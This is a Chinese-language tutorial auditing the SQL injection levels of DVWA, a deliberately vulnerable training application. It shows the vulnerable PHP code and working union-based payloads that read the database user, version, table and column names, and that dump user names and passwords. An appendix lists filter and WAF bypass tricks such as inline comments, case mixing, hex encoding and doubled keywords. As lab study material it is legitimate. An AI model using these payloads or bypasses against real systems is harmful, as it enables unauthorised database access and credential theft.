DVWA代码审计--SQL注入

NO.1 Low

首先来看下代码


<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_num_rows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?> 

先学习学习函数!!!


mysql_query() 函数执行一条 MySQL 查询。

语法:mysql_query(query,connection)

参数:

  1. query   必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
  2. connection   可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。

mysql_num_rows() 函数返回结果集中行的数目。

语法: mysql_num_rows(data)

参数:

  1. data    必需。结果集。该结果集从 mysql_query() 的调用中得到。

mysql_result() 函数返回结果集中一个字段的值。

语法: mysql_result(data,row,field)

参数:

  1. data    必需。规定要使用的结果标识符。该标识符是 mysql_query() 函数返回的。
  2. row   必需。规定行号。行号从 0 开始。
  3. field    可选。规定获取哪个字段。可以是字段偏移值,字段名或 table.fieldname。如果该参数未规定,则该函数从指定的行获取第一个字段。

mysql_error() 函数返回上一个 MySQL 操作产生的文本错误信息。

语法: mysql_error(connection)


mysql_close() 函数关闭非持久的 MySQL 连接。

语法: mysql_close(link_identifier)


想要找漏洞,还得先知道代码什么意思,

首先if判断有没有用户有没有提交值过来,

然后$query准备一条sql语句,根据用户输入的id去进行查找,

这条sql语句的意思是在users表中根据$id的值去查找first_namelast_name

$result为发送sql语句,如果失败将会报错,

$num 意思是有没有找到数据

while 循环将打印出这些数据,

最后关闭数据库。


构造payload

这段代码没有对用户输入的值做任何的判断直接进入数据库进行查询,

但是对于新手来说依旧很难构造出注入payload,

看到orselectunion等语法直接蒙圈,

这里本渣渣也对这些东西很懵逼,

这里就简单总结一下,也方便自己以后学习。


这里先说一下最常见,也是最常用的方法,那就是and 1=1 ,

相信很多人都见过,但是对于新手来说,只知道用,但是不知道原理,

在sql语句中,and 为逻辑运算符的意思,

跟他常见的是or ,意思是或者 ,

拿这条sql语句来举例的话:

如果输入1

SELECT first_name, last_name FROM users WHERE user_id = 1;

如果输入1 and 1=1

SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;

变换一下,更为直观一点,

SELECT first_name, last_name FROM users WHERE (user_id = 1) and (1=1);

前半句 user_id = 1 的时候,确实存在,后半句 1=1 也为真,

所以整条语句查询结果为真,返回正常。

但是如果提交and 1=2 前半句返回真,后半句为假,

and逻辑与运算符 只有两边都为真才返回真,所以整条语句返回值为假。


or 语句

我们经常会看到这样的语句 or 1=1 ,

在注入中,通常用来遍历数据,

在sql语句中,or 是或者的意思,

来简单测试一下,输入 1 'or' 1 '=' 1 ,

这里两个引号其实是用来包裹符号的,


我们可以看到这里全部数据都遍历出来了,

打印出来的语句为:

SELECT first_name, last_name FROM users WHERE user_id = '1 'or' 1 '=' 1'

解释:user_id = 1 或者 1=1 ,1=1 永远为真,所有就验证通过了,

但是输入 1 or 1=1 却不能遍历数据,这是为什么呢??

首先来对比一下两条语句:

第一条为:

SELECT first_name, last_name FROM users WHERE user_id = '1 'or' 1 '=' 1'

第二条为:

SELECT first_name, last_name FROM users WHERE user_id = '1 or 1=1'

我们可以看到两条语句后面颜色都不一样,

images


第一条语句为判断语句,相当于: (1) or (1=1)

第二条语句则为一个字符串,users表中没有id为 1 or 1=1 的字符串,所以遍历不出来。


order by 语句

简单说下 order by 语句,在注入中也很常见

官方的定义:ORDER BY 语句用于根据指定的列对结果集进行排序,语句默认按照升序对记录进行排序。

order by在注入中一般用来爆列数,也就是字段

images


这里我们可以先来简单的测试一下看看

测试payload:1' order by 2# ,正常

images


这里估计新手都看不懂,' 这个单引号是什么作用,# 井号又是什么作用??

这里我们不妨直接打印这条语句看看,因为是本地的环境,那还不容易吗


我们可以看到,' 单引号闭合了前面的语句,# 井号则是注释了后面多余的符号

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';"

这里有个小问题,就是为什么要注释掉分号,sql语句不是要分号结束吗??

这里有个问答或许能帮助到你

https://segmentfault.com/q/1010000011382305?tdsourcetag=s_pcqq_aiomsg

这里可能又要啰嗦一下sql中的注释符

当然不只是# 号可以注释

MySQL注释符有三种:

  1. # 井号
  2. -- (注意:–后面有一个空格)
  3. /*...*/

啰啰嗦嗦一堆之后再回到刚才 1' order by 2# 正常,

然后再测试 1' order by 3# 报错,

说明只有两个字段 ,

images


这里又有个小问题,我数据库中明明有8个字段,为啥只爆出两个??

那是因为这条sql语句只查找 first_name 和 last_name 这两个字段的值 ,

如果换成 SELECT * FROM users 那就可以爆出8个字段 ,

images


还有一种比较常见的查询,

通常我们看到的是这样的查询语句 1' order by 1,2,3,4,5,6 ,

这种写法其实是跟上面是一样的,只不过换成了数列的方式,

意思是查询6个字段。


union select 语句

说完了order by 语句,接下来我们来讲讲 union select 语句,

注入中也是经常出现的东西。


拆分一下,先讲 union 操作符 ,

定义:UNION 操作符用于合并两个或多个 SELECT 语句的结果集,不包括重复行

还有一个 union all 操作符

定义: union all 操作符用于合并两个或多个 SELECT 语句的结果集,包括重复行

union 命令和 union all 命令几乎一样的,不过 UNION ALL 命令会列出所有的值。


select 大家都很熟悉了,

定义:SELECT 语句用于从表中选取数据,结果被存储在一个结果表中(称为结果集)。

语法:SELECT 列名称 FROM 表名称


这个有个问题,为什么要用union select 而不是 select ??

这个问题回归到那条sql语句中,

当用户输入1的时候,select 已经执行了查询操作,

SELECT first_name, last_name FROM users WHERE user_id = '1'

select 语句只能查询一次,不能多次查询,

union 是联合查询的一个关键字,可以合并多个 select 语句,

这就是为什么要用union select 而不是 select 的原因。


几种常用的注入方法

1. 确认表是否存在

Payload : 1' union all select 1,2 from 表名

admin 不存在

images


users 存在

images


2. 查看当前用户

Payload : 1' union select user(),2 #

注意:user() 函数得放到显位(回显位置)上 ,

这里可能又要科普什么是显位了

可以先看下这篇文章

https://blog.csdn.net/weixin_43379478/article/details/84943001

像这种,就是显位

images

在这DVWA中,1和2都是显位

images


然后也直接爆出当前数据库用户名

images


这个显位的位置放在那里都行,如果把user() 放在第二位的话,那么用户名就在第二位上显示出来,

Payload : 1' union select 1,user() #

images


3. 查看当前数据库名

Payload : 1' union select database(),2 #

images


当然也可以同时显示当前用户,

Payload : 1' union select user(),database() #

images


4. 查看当前操作系统版本

Payload :

1' union select @@version_compile_os,2 #

version() 获取当前数据库版本.

@@version_compile_os 获取当前操作系统。

@ 表示局部变量

@@ 表示全局变量

images


5. 查看当前数据库版本

Payload : 1' union select version(),2 #

images


6. 查看当前数据库所有表

知道数据库就可以查表了,

Payload :

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 #

这里又要科普一下函数了,,

concat() 函数

功能:将多个字符串连接成一个字符串。


group_concat() 函数

功能:函数返回一个字符串结果,该结果由分组中的值连接组合而成。

具体可以看看下面这篇文章,

https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc


table_name 就是数据表的名字, group_concat(table_name) 来连接这些表,就是这个样子

images


information_schema.tables 就是这个information_schema数据库中的table表,

Mysql数据库(Mysql 5之后)中有一个information_schema数据库,里面存放了mysql下所有数据库中的列名和表名信息。

这个表tables 是information_schema数据库中存放所有表名信息的一个表。


table_schema 是数据库的名称


结合起来的意思就是:在(where) xx数据库中 查找(from) 表的名字,并将他们串联起来一起输出


注意: 这里数据库名(dvwa)必须是16进制

关于为啥要16进制看这

images


关于为啥要16进制看这

images


7. 查看当前表中的所有字段

知道表名后就可以查表中的所有字段了,

Payload:

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #

images


8. 查看当前表中的所有数据

知道字段就可以指定字段查数据了,

可以使用group_concat函数的语句,进行查询id,name和password

1' union select 1,(select group_concat(user_id,first_name,password) from users) #

这里可能很多新手看着有点蒙圈,其实就是两个select语句嵌套,

images


这里查询出来有点乱,我们可以16进制编码的字符进行分割,看下一条语句

images


接下来我们使用16进制编码的 -- 进行分割,其他字符也行,但是一定要进行16进制编码,

1' union select 1,(select group_concat(user_id,0x2D2D,first_name,0x2D2D,password) from users) #

这样就比较好看了,

images


当然查询方法是多种多样的,

下面使用concat函数的语句进行查询 ,同样使用16进制编码的 -- 进行分割

1' union select 1,(select concat(user_id,0x2D2D,first_name,0x2D2D,password) from users limit 1) #

group_concat不同的是,concat 一次只能查询一条,需要使用limit 函数进行分页

limit 用法具体看这 –> https://blog.csdn.net/yihanzhi/article/details/82784770

如果不加 limit 会报 Subquery returns more than 1 row 错误,

原因是 主查询的一条记录对应子查询多条记录产生错误

images


接下来再用一个concat_ws 函数进行查询

功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

语法:concat_ws(separator, str1, str2, …)

说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

注:concat_ws 一次也只能查询一条,需要使用 limit

这里使用 , 号进行分割,

1' union select 1,(select concat_ws(',',user_id,first_name,password) from users limit 1) #

images


当然也可以使用 where 指定字段进行查询,如果对应的值只有一条数据,那么可以不用 limit

1' union select 1,(select concat_ws(',',user_id,first_name,password) from users where user_id='2') #

images


9. 逐字猜解法猜表名

适用于order by 不能用的地方,

语法: and exists(select * from 表名)

来实战测试一下,

输入 1' and exists(select * from users) #

images

说明表是存在的,如果不存在将会报错。


10. 逐字猜解法猜列名

知道表名后,就可以猜字段了,也就是列名,

语法: and exists(select 列名 from 表名)

实战测试,

输入 1' and exists(select user_id from users) #

images

说明user_id是存在的,如果不存在将会报 Unknown column 'id' in 'field list' 错误。


好了,就说这么多了,更多方法还是需要自己去研究 (逃。。


NO.2 Medium

代码,


<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_num_rows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Display values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    //mysql_close(); 
} 

?> 

mysql_real_escape_string() 数转义 SQL 语句中使用的字符串中的特殊字符。

受影响的字符:


\x00
\n
\r
\
'
"
\x1a

语法:mysql_real_escape_string(string,connection)

参数:

  1. string    必需。规定要转义的字符串。
  2. connection    可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

这个代码跟第一个并没有太大的变化,需要POST传参,还有多了个 mysql_real_escape_string() 函数,

但是这个函数对sql语句进行了处理,过滤了单引号,双引号等等。

这里我们可以打印一下这条sql语句,看看是如何进行查找的,

可以看到这个id为int类型,很有可能是数字型注入,在这段sql语句中不需要用引号什么来闭合了。

images


然后这里没有输入框,只有一个下拉菜单,所以我们用burp来抓包,

简单输入一个单引号 ' 测试,发现转义了,

images


输入 union select 1,2 没有转义,没有触发过滤规则,

images


输入 union select user(),database() 可以爆出数据库名和当前数据库用户名,

images


只要不使用 ' 单引号就ok了,

在上面语句中选用没有单引号的直接一把梭就ok了。。


NO.3 High


<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    $num = mysql_num_rows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?> 

判断session传值,

sql语句每次限制显示一条 ,

跟low级别的一样,id类型为字符串,可以使用单引号闭合,

另外,好像没什么过滤啊。


老方法,使用 ' 单引号闭合标签,然后使用 # 号注释掉后面的 LIMIT 函数 ,

跟low级别的一样,直接用上面语句一把梭就ok了。。


附1:关于information_schema数据库

MySQL版本大于5.0时,才有数据库information_schema

https://blog.csdn.net/qq_36423110/article/details/78363946


附2:简单绕过

1. 使用注释符 来替换空格 (注释符/* */%a0


**2. 使用括号绕过空格 **

   如果空格被过滤,括号没有被过滤,可以用括号绕过 例:

select(user())from users where(1=1)and(2=2)

**3. 引号绕过(使用十六进制编码): **

像上面说的使用十六进制编码的数据库名,其实就为了绕过引号


4. 逗号绕过(使用from或者offset):

通常含有这些函数substr(),mid(),limit(),的这些子句方法都需要使用到逗号,

对于substr()和mid()这两个方法可以使用from to的方式来解决:

比如:


SELECT MID(name,1,2) FROM users # 替换成
SELECT MID(name from 1 for 1) FROM users

使用join:


union select 1,2     
# 等价于下面这条语句
union select * from (select 1)a join (select 2)b    
# 也可以写成下面这条语句
union select * from (select 1) a join (select 2) b  # 加个空格

其中 a 和 b 是别名的意思,
()a 相当于 () as a


使用like:


select ascii(mid(user(),1,1))=97     
# 等价于下面这条语句
select user() like 'a%'   

ASCII 97 对应的是小写字母a

a% 意思是匹配以a开头的所有东西


对于limit可以使用offset来绕过:


select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0  

5. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,可以使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找,

如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了,

greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

也可以使用between and:

between a and b:返回a,b之间的数据,不包含b。


6. or and xor not绕过:


and = &&  
or = ||   
xor = |   
not = !

7. 绕过注释符号(#,– )过滤:

例:

id=1' union select 1,2,3||'1

最后的 or ‘1 闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

8. = 号绕过:

使用like 、rlike 、regexp 或者 使用< 或者 >


9. 绕过union,select,where等:

(1)使用注释符绕过:

常用注释符:


//
-- (--空格)
/**/
#
--+
-- - (杠杠空格杠)
; (分号)
%00
--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

id=-1'UNIunionONSeLselectECT1,2,3–-

10. 通用绕过(编码):

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1 即 %6f%72%20%31%3d%31 ,

而Test也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 。


附3:一点点小结

如果数据库使用GBK编码,那么可能存在宽字节注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/633761.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue中数据已经改变了,但是table里面内容没更新渲染!

解决方案&#xff1a; 给table或者el-table标签上添加一个动态key值&#xff0c;只要数据发生改变&#xff0c;key值变动一下即可 标签上&#xff1a; :key“timeStamp” 初始data&#xff1a;timeStamp:0, 更新数据&#xff1a;this.timeStamp 这样每次更新数据&#xff…

微信小程序---小程序文档配置(2)

一、小程序文档配置 1、小程序的目录结构 1.1、目录结构 小程序包含一个描述整体程序的 app 和多个描述各自页面的 page 一个小程序主体部分由三个文件组成&#xff0c;必须放在项目的根目录 比如当前我们的《第一个小程序》项目根目录下就存在这三个文件&#xff1a; 1…

Android 几个简单的自定义对话框介绍

Android 几个简单的自定义对话框介绍 文章目录 一、前言二、对话框相关内容1、效果2、对话框显示的调用代码&#xff08;1&#xff09;原生对话框代码&#xff1a;&#xff08;2&#xff09;自定义对话框代码&#xff1a; 3、对话框SweetAlertDialog 主要实现代码&#xff1a;4…

《Python编程从入门到实践》day37

# 昨日知识点回顾 制定规范、创建虚拟环境并激活&#xff0c;正在虚拟环境创建项目、数据库和应用程序 # 今日知识点学习 18.2.4 定义模型Entry # models.py from django.db import models# Create your models here. class Topic(models.Model):"""用户学习的…

【课后练习分享】Java用户注册界面设计和求三角形面积的图形界面程序

目录 java编程题&#xff08;每日一练&#xff09;&#xff1a; 问题一的答案代码如下&#xff1a; 问题一的运行截图如下&#xff1a; 问题二的答案代码如下&#xff1a; 问题二的运行截图如下&#xff1a; java编程题&#xff08;每日一练&#xff09;&#xff1a; 1.…

windows安装官方正版notepad++

一 、notepad介绍 Notepad 是一个免费的、开源的文本编辑器&#xff0c;主要面向程序员和高级用户。以下是 Notepad 的特点&#xff1a; 跨平台&#xff1a; 虽然主要为 Windows 平台设计&#xff0c;但可以通过 Wine 在 Linux 和 macOS 上运行。 语法高亮&#xff1a; 自动识…

Dubbo生态之初识dubbo协议

1.RPC框架 在java的发展中&#xff0c;随着业务的越来越庞大&#xff0c;单体架构的工作繁琐且耦合度高&#xff0c;因此单体架构过渡到了分布式架构&#xff0c;而分布式架构就必然涉及到各个服务之间的远程通信(RPC框架)&#xff0c;RPC框架如图所示: 工作流程: a.客户端调…

ElasticSearch 查询优化之skipped shards

文章目录 问题通过timeDate查询 问题 PUT test_01 {"settings": {"number_of_shards": 50}, "mappings": {"properties": {"createTimeDate": {"format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis&…

对列表进行统计和计算

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 Python的列表提供了内置的一些函数来实现统计、计算的功能。下面介绍几种常用的功能。 &#xff08;1&#xff09;获取指定元素出现的次数 使用列表…

汇聚荣科技有限公司怎么样?

在众多企业中&#xff0c;汇聚荣科技有限公司以其独特的发展模式和市场定位引起了人们的关注。对于这个问题&#xff0c;答案并非简单的好与坏&#xff0c;而需要从多个维度进行深入分析。 一、公司背景与发展历程汇聚荣科技有限公司成立于何年何地&#xff0c;由谁创立&#x…

民国漫画杂志《时代漫画》第17期.PDF

时代漫画17.PDF: https://url03.ctfile.com/f/1779803-1248612629-85326d?p9586 (访问密码: 9586) 《时代漫画》的杂志在1934年诞生了&#xff0c;截止1937年6月战争来临被迫停刊共发行了39期。 ps:资源来源网络&#xff01;

蓝牙模块七种工作模式——蓝牙Mesh组网工作模式

蓝牙Mesh组网模块技术在2017年得到SIG批准&#xff0c;这是一种独立的网络技术&#xff0c;兼容4及5系列蓝牙协议。它把蓝牙设备作为信号中继站&#xff0c;利用低功耗蓝牙广播的方式进行信息收发&#xff0c;蓝牙Mesh组网技术拓展了蓝牙的通讯关系&#xff0c;打破了以往蓝牙设…

环信 X 星野| 共创沉浸式 AI 互动体验

大模型技术的发展使虚拟人更加智能和情感丰富&#xff0c;推动人与 AI 智能体互动体验进入新时代。星野App 是一款沉浸式 AI 内容社区&#xff0c;短短几个月日活过百万。虽然市面上的社交产品很多&#xff0c;但社交关系更多的是停留在表面&#xff0c;无法满足深层次情感交流…

【全开源】AJAX家政上门服务系统小程序自营+多商家(高级授权)+独立端

基于FastAdmin和原生微信小程序开发的一款同城预约、上门服务、到店核销家政系统&#xff0c;用户端、服务端(高级授权)、门店端(高级授权)各端相互依赖又相互独立&#xff0c;支持选择项目、选择服务人员、选择门店多种下单方式&#xff0c;支持上门服务和到店核销两种服务方式…

leetcode以及牛客网单链表相关的题、移除链表元素、链表的中间节点、合并两个有序链表、反转链表、链表分割、倒数第k个节点等的介绍

文章目录 前言一、移除链表元素二、链表的中间节点三、合并两个有序链表四、反转链表五、链表分割六、倒数第k个节点总结 前言 leetcode以及牛客网单链表相关的题、移除链表元素、链表的中间节点、合并两个有序链表、反转链表、链表分割、倒数第k个节点等的介绍 一、移除链表元…

【详细讲解】二叉树的层序遍历

广度优先搜索 总结一下&#xff0c;思路就是&#xff1a; 加入元素&#xff0c;记录size&#xff0c;size就是当前这一层的元素个数。不断弹出元素&#xff0c;size - 1&#xff0c; 同时加入弹出元素的左右孩子&#xff0c;直到size0&#xff0c;说明当前层已经完全遍历完&am…

闲话 .NET(4):为什么要跨平台?

前言 .NET Core 有一个关键词就是跨平台&#xff0c;为什么要跨平台呢&#xff1f;Windows 操作系统不香吗&#xff1f;今天我们来聊聊这个 原因一&#xff1a;安全考虑 Windows OS 是闭源的&#xff0c;而 Linux 是开源的&#xff0c;因此有些公司的技术负责人就认为 Linux…

Unity性能优化工具介绍

文章目录 一.Stats组件1.Audio音频的数据组件:2.图形数据 二.Profiler 性能分析器 一.Stats组件 Unity自带Statistics(统计数据),Game视窗中点击Stats打开 1.Audio音频的数据组件: 1):Level 声音强度 单位是分贝(dB) 表示音频听声音的大小,是闪烁波动的. 2):SDPload 数据信…

利用神经网络学习语言(一)——自然语言处理的基本要素

相关说明 这篇文章的大部分内容参考自我的新书《解构大语言模型&#xff1a;从线性回归到通用人工智能》&#xff0c;欢迎有兴趣的读者多多支持。 本文涉及到的代码链接如下&#xff1a;regression2chatgpt/ch10_rnn/tokenizer.ipynb 本系列文章将深入探讨一种应用广泛的神经…

Vitis HLS 学习笔记--基本指针和算术指针

目录 1. 简介 2. 基本指针 3. 算术指针 4. 疑点解答 4.1 疑点1 4.2 疑点2 5. 总结 1. 简介 在 C/C 语言中&#xff0c;指针被广泛用来表示内存中的地址信息&#xff0c;它们是理解和使用这些语言的核心概念之一。然而&#xff0c;在 Vitis HLS 中&#xff0c;指针的使用…